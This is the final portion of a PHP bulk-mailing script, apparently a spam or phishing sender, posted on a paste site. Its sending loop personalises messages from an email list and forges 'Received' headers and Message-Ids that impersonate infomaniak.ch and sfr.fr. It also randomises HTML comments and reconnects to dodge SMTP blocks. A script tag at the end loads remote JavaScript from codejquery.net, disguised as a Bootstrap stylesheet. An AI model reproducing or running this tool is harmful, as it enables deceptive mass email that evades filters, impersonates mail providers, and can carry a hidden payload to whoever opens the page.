  3706.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3707.                          ": " . $rply . $this->CRLF;
  3708.             }
  3709.             return false;
  3710.         }
  3711.         return $rply;
  3712.     }
  3713.  
  3714.     /*******************************************************************
  3715.      *                       INTERNAL FUNCTIONS                       *
  3716.      ******************************************************************/
  3717.  
  3718.     /**
  3719.      * Read in as many lines as possible
  3720.      * either before eof or socket timeout occurs on the operation.
  3721.      * With SMTP we can tell if we have more lines to read if the
  3722.      * 4th character is '-' symbol. If it is a space then we don't
  3723.      * need to read anything else.
  3724.      * @access private
  3725.      * @return string
  3726.      */
  3727.     function get_lines() {
  3728.         $data = "";
  3729.         while($str = fgets($this->smtp_conn,515)) {
  3730.             if($this->do_debug >= 4) {
  3731.                 echo "SMTP -> get_lines(): \$data was \"$data\"" .
  3732.                          $this->CRLF;
  3733.                 echo "SMTP -> get_lines(): \$str is \"$str\"" .
  3734.                          $this->CRLF;
  3735.             }
  3736.             $data .= $str;
  3737.             if($this->do_debug >= 4) {
  3738.                 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  3739.             }
  3740.             # if the 4th character is a space then we are done reading
  3741.            # so just break the loop
  3742.            if(substr($str,3,1) == " ") { break; }
  3743.         }
  3744.         if( $this->do_debug >= 0 )
  3745.         {
  3746.             DebugData("raw", $data );
  3747.         }
  3748.         return $this->smtp_buffer = $data;
  3749.     }
  3750.  
  3751. }
  3752.  
  3753. // Well send form, start sending
  3754. if( $vForm->isValid() && $vForm->isSubmited() )
  3755. {
  3756.    
  3757.     echo "<div id=\"autoScrollBox\">\r\n";
  3758.     echo "<div class=\"autoScrollSwitcher\">AutoScroll Switcher</div>\r\n";
  3759.     echo "<div align=\"center\"><input class=\"autoScrollSwitcher\" type=\"button\" name=\"autoScrollSwitcher\" id=\"autoScrollSwitcher\" value=\"" . ( $autoscrollPage ? "Disable" : "Enable" ) . " AutoScroll\" onclick=\"switchAutoScroll();\" /></div>\r\n";
  3760.     echo "</div>\r\n";
  3761.    
  3762.     echo "<h2 class='h2green'>Building email...</h2>";
  3763.    
  3764.     $mail = new PHPMailer();
  3765.     $mail->Mailer = $basicMethod;
  3766.    
  3767.     // SMTP Config
  3768.  
  3769.     if( $mail->Mailer == "smtp" )
  3770.     {
  3771.         $mail->Host     = $SMTPServer;
  3772.         $mail->Sender   = $SMTPUsername;
  3773.         $mail->Username = $SMTPUsername;
  3774.         $mail->Password = $SMTPPassword;
  3775.         $mail->SMTPAuth = $SMTPAuth;
  3776.        
  3777.         $mail->SMTPKeepAlive = true;
  3778.         $mail->SMTPDebug = _SMTP_DEBUG_LVL_ - 1;
  3779.     }
  3780.    
  3781.     $mail->From     = $fromEmail;
  3782.     $mail->FromName = $fromName;
  3783.     $mail->Subject  = $subject;
  3784.     $mail->AddReplyTo($fromEmail, $fromName);
  3785.     $mail->AddCustomHeader("X-MSMail-Priority: Normal");
  3786.  
  3787.     $mail->Body    = $emailMessage;
  3788.    
  3789.     if( $multipartMail )
  3790.     {
  3791.         $mail->AltBody = strip_tags($emailMessage);
  3792.         $mail->AltBody = preg_replace("/[ ]{2,}/", " ", $mail->AltBody);
  3793.         $mail->AltBody = preg_replace("/([\r\n]+){2,}/", "\r\n", $mail->AltBody);
  3794.        
  3795.         // Random string to change message id
  3796.         if( $addRandomString )
  3797.         {
  3798.             $mail->Body = str_replace(array('<html>', '<head>','<body'), array('<html><!--%%-->', '<head><!--%%-->', '<!--%%--><body'), $mail->Body);
  3799.        
  3800.         }
  3801.     }
  3802.     else
  3803.     {
  3804.         // determines wheter the text is or not html
  3805.         if( eregi('(<[x]?html|<body|<table|<div)', $mail->Body) )
  3806.         {
  3807.             $mail->IsHTML(true);
  3808.            
  3809.             // Random string to change message id
  3810.             if( $addRandomString )
  3811.             {
  3812.                 $mail->Body = str_replace(array('<html>', '<head>','<body'), array('<html><!--%%-->', '<head><!--%%-->', '<!--%%--><body'), $mail->Body);
  3813.             }
  3814.         }
  3815.         else
  3816.         {
  3817.             $mail->IsHTML(false);
  3818.         }
  3819.     }
  3820.    
  3821.     // starting email
  3822.     if( $listStartingEmail > 1 )
  3823.     {
  3824.         $emailList = array_slice($emailList, $listStartingEmail-1);
  3825.     }
  3826.    
  3827.     // removing duplicated entries
  3828.     $emailList = array_unique($emailList);
  3829.    
  3830.     // cout number of emails
  3831.     $reportTotal = count( $emailList );
  3832.  
  3833.     // elapsed time
  3834.     $starttime = explode(" ",microtime());
  3835.     $starttime = $starttime[1] + $starttime[0];
  3836.    
  3837.     // Shows Email Information
  3838.     echo "<pre>";
  3839.     echo "<b>Method:</b> " . strtoupper($mail->Mailer) . "\r\n";
  3840.     echo "<b>Multipart:</b> " . ( $multipartMail ? "Yes" : "No" ) . "\r\n";
  3841.     echo "<b>Total to send:</b> {$reportTotal} (removed duplicated and starting on #{$listStartingEmail} email)\r\n";
  3842.     echo "<b>From:</b> {$mail->FromName} &lt;{$mail->From}&gt;\r\n";
  3843.     //echo "<b>Reply-To:</b> {$mail->ReplyTo}\r\n";
  3844.     echo "<b>Subject:</b> {$mail->Subject}\r\n";
  3845.     echo "</pre>";
  3846.    
  3847.     echo "<h2 class='h2green'>hna kan sendiw  emails...</h2>\r\n";
  3848.    
  3849.     $mail->backup = $mail->Body;
  3850.     foreach( $emailList as $k => $curEmail )
  3851.     {
  3852.        
  3853.        
  3854.         $mail->ClearAddresses();
  3855.         $hagolo = explode(';', $curEmail);
  3856.         $curEmail=$hagolo[0];
  3857.         $mail->Body = str_replace("%name%",$hagolo[1],$mail->Body);
  3858.         $subject = str_replace('%name%',$hagolo[1],$subject);
  3859.         $mail->Body = str_replace("%mail%",$hagolo[0],$mail->Body);
  3860.         $mail->Body = str_replace("%md5%",md5($hagolo[0]),$mail->Body);
  3861.         $mail->AddAddress($curEmail);
  3862.         $mail->AddCustomHeader("Received :(from httpd@localhost)by dmu102.infomaniak.ch (8.14.5/8.14.2/Submit) id t1KDKAWi013740;Fri, 20 Feb 2015 14:20:10 +0100");
  3863.         $mail->AddCustomHeader("Received :from dmu102.infomaniak.ch (dmu102.infomaniak.ch [10.3.24.3])by smith.infomaniak.ch (8.14.5/8.14.5) with ESMTP id t1KDKEeb019878for <".$curEmail.">; Fri, 20 Feb 2015 14:20:20 +0100");
  3864.         $mail->AddCustomHeader("Received :from dmu102.infomaniak.ch (localhost [127.0.0.1])by dmu102.infomaniak.ch (8.14.5/8.14.5) with ESMTP id t1KDKAlC013741for <".$curEmail.">; Fri, 20 Feb 2015 14:20:10 +0100");
  3865.         $mail->AddCustomHeader("Received :from filter.sfr.fr (localhost [84.16.66.86])by msfrf2318.sfr.fr (SMTP Server) with ESMTP id DCC2A1C006BEfor <n9f000000000000000085363048@back07-mail01-01.sfrmc.priv.atos.fr>; Fri, 20 Feb 2015 14:20:36 +0100 (CET)");
  3866.         $mail->AddCustomHeader("Received :from msfrf2318.sfr.fr (msfrf2318.priv.atos.fr [10.18.27.32])by msfrb0701 (Cyrus v2.3.16) with LMTPA;Fri, 20 Feb 2015 14:20:37 +0100");
  3867.         $mail->AddCustomHeader("Received :from smith.infomaniak.ch (smith.infomaniak.ch [84.16.66.86])by msfrf2318.sfr.fr (SMTP Server) with ESMTP for <".$curEmail.">;Fri, 20 Feb 2015 14:20:26 +0100 (CET)");
  3868.         $mail->AddCustomHeader("Received :from smith.infomaniak.ch (smith.infomaniak.ch [84.16.66.86])by msfrf2318.sfr.fr (SMTP Server) with ESMTP id 8155E1C006CEfor <".$curEmail.">; Fri, 20 Feb 2015 14:20:26 +0100 (CET)");
  3869.         $mail->AddCustomHeader("Message-Id: <4707777." . md5($curEmail . rand() ) . ".407@gestion.infomaniak.com>");
  3870.         //$mail->AddCustomHeader("X-MimeOLE: Produced By Microsoft MimeOLE V6.10.2800.1409.". rand() . ".rg.sm31");
  3871.         $mail->Body = preg_replace("/<!--([%0-9]+)-->/","<!--" . $k . rand() . "-->", $mail->Body);
  3872.        
  3873.         $k++;
  3874.         $reportPercent = round(($k * 100)/$reportTotal, 2);
  3875.        
  3876.         echo "<div class=\"report\">{$k}) Sending to <b>" . htmlentities($curEmail)  . " NAMED : -> ".$hagolo[1]."<- </b>...";
  3877.         echo autoScrollString($curEmail, $k, $reportPercent);
  3878.        
  3879.         if( $mail->Send() )
  3880.         {
  3881.            
  3882.             // reset send errors
  3883.             $mail->SmtpSetSendError(0);
  3884.             $mail->Body = $mail->backup;
  3885.             $reportOk++;
  3886.             echo "<span class=\"reportOk\">OK!</span> ({$reportPercent}% complete | OK:{$reportOk} | Machakil :{$reportErr})</div>\r\n";
  3887.         }
  3888.         else
  3889.         {
  3890.            
  3891.             $reportErr++;
  3892.             echo "<span class=\"reportErr\">ERROR!</span> ({$reportPercent}% complete | OK:{$reportOk} | Machakil:{$reportErr})</div>\r\n";
  3893.             $mail->Body = $mail->backup;
  3894.             if( ($mail->Mailer == "smtp") && ($mail->SMTPAuth == true && substr($mail->SmtpGetError(),0,4) == 'auth') )
  3895.             {
  3896.                 echo "<div class=\"reportErr\">Authentication Error, giving it up.</div>\r\n";
  3897.                 $reportErr = $reportTotal - $reportOk;
  3898.                 break;
  3899.             }
  3900.            
  3901.             if( ($mail->Mailer == "smtp") && ($mail->SmtpGetSendError() > _SMTP_MAX_ERRORS_) )
  3902.             {
  3903.                 echo "<div class=\"reportErr\">Number of followed-errors reached the limit (" . _SMTP_MAX_ERRORS_ . "), on the email #{$k}. Giving it up. </div>\r\n";
  3904.                 $reportErr = $reportTotal - $reportOk;
  3905.                 break;
  3906.             }
  3907.         }
  3908.  
  3909.        
  3910.         if( ( $mail->Mailer == "smtp" ) && ( _SMTP_RECONNECT_AFTER_ > 0 ) && ( ($k % $SMTPReconnectAfter ) == 0 ) )
  3911.         {
  3912.             echo "<div class=\"reportOk\"><b>Reconnecting to avoid SMTP block (by configuration -- reconnect after " . _SMTP_RECONNECT_AFTER_  . " emails)</b></div>\r\n";
  3913.             $mail->SmtpClose();
  3914.         }
  3915.        
  3916.         // DEMO
  3917.         /*if( $k >= 50 )
  3918.         {
  3919.             echo "<div class=\"reportErr\">DEMO VERSION limited to 50 emails. Contact Gess-Inject0r to buy the full version.</div>\r\n";
  3920.             break;
  3921.         }*/
  3922.         $mail->Body = $mail->backup;
  3923.     }
  3924.    
  3925.     // End SMTP
  3926.     if( $mail->Mailer == "smtp" && $mail->SMTPKeepAlive )
  3927.     {
  3928.         $mail->SmtpClose();
  3929.     }
  3930.    
  3931.     // End microtimer
  3932.     $endtime = explode(" ", microtime());
  3933.     $endtime = $endtime[1] + $endtime[0];
  3934.     $totaltime = round(($endtime - $starttime), 3); // faz-se a diferenca
  3935.    
  3936.     echo "<b><br /><br />\r\n";
  3937.     echo "<h2 class='h2green'>Safi salina !</h2>\r\n";
  3938.     echo "<div>{$reportTotal} emails in total</div>\r\n";
  3939.     echo "<div class=\"reportOk\">{$reportOk} sent Howa hadak (" . round(($reportOk * 100)/$reportTotal, 2) . "%)</div>\r\n";
  3940.     echo "<div class=\"reportErr\">{$reportErr} not sent  chi takwisa hadi (" . round(($reportErr * 100)/$reportTotal, 2) . "%)</div>\r\n";
  3941.     echo "<div>{$totaltime} seconds elapsed</div></b>\r\n";
  3942.     echo autoScrollString();
  3943.    
  3944.     if(  $mail->Mailer == "smtp" && _SMTP_DEBUG_LVL_ > 0 )
  3945.     {
  3946.         echo "<pre>";
  3947.         echo "<b>Debug Data:</b>\r\n";
  3948.         echo DebugData();
  3949.         echo "</pre>";
  3950.     }
  3951.    
  3952.     /*echo "<pre>";
  3953.     print_r( $mail );
  3954.     echo "</pre>";*/
  3955.     unset( $mail );
  3956. }
  3957.  
  3958. ####!DELIMITER!####
  3959.  
  3960.  
  3961. /* BUILT BY R3V3NG4NS <Gess-Inject0r at gmail dot com> 1f81fda9d1c4b76fc3bde395b98cfb21-1181759341-vafrp */
  3962.  
  3963. }
  3964. ?>
  3965. <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  3966.  
  3967. </body>
  3968. </html>
Add Comment
Please, Sign In to add comment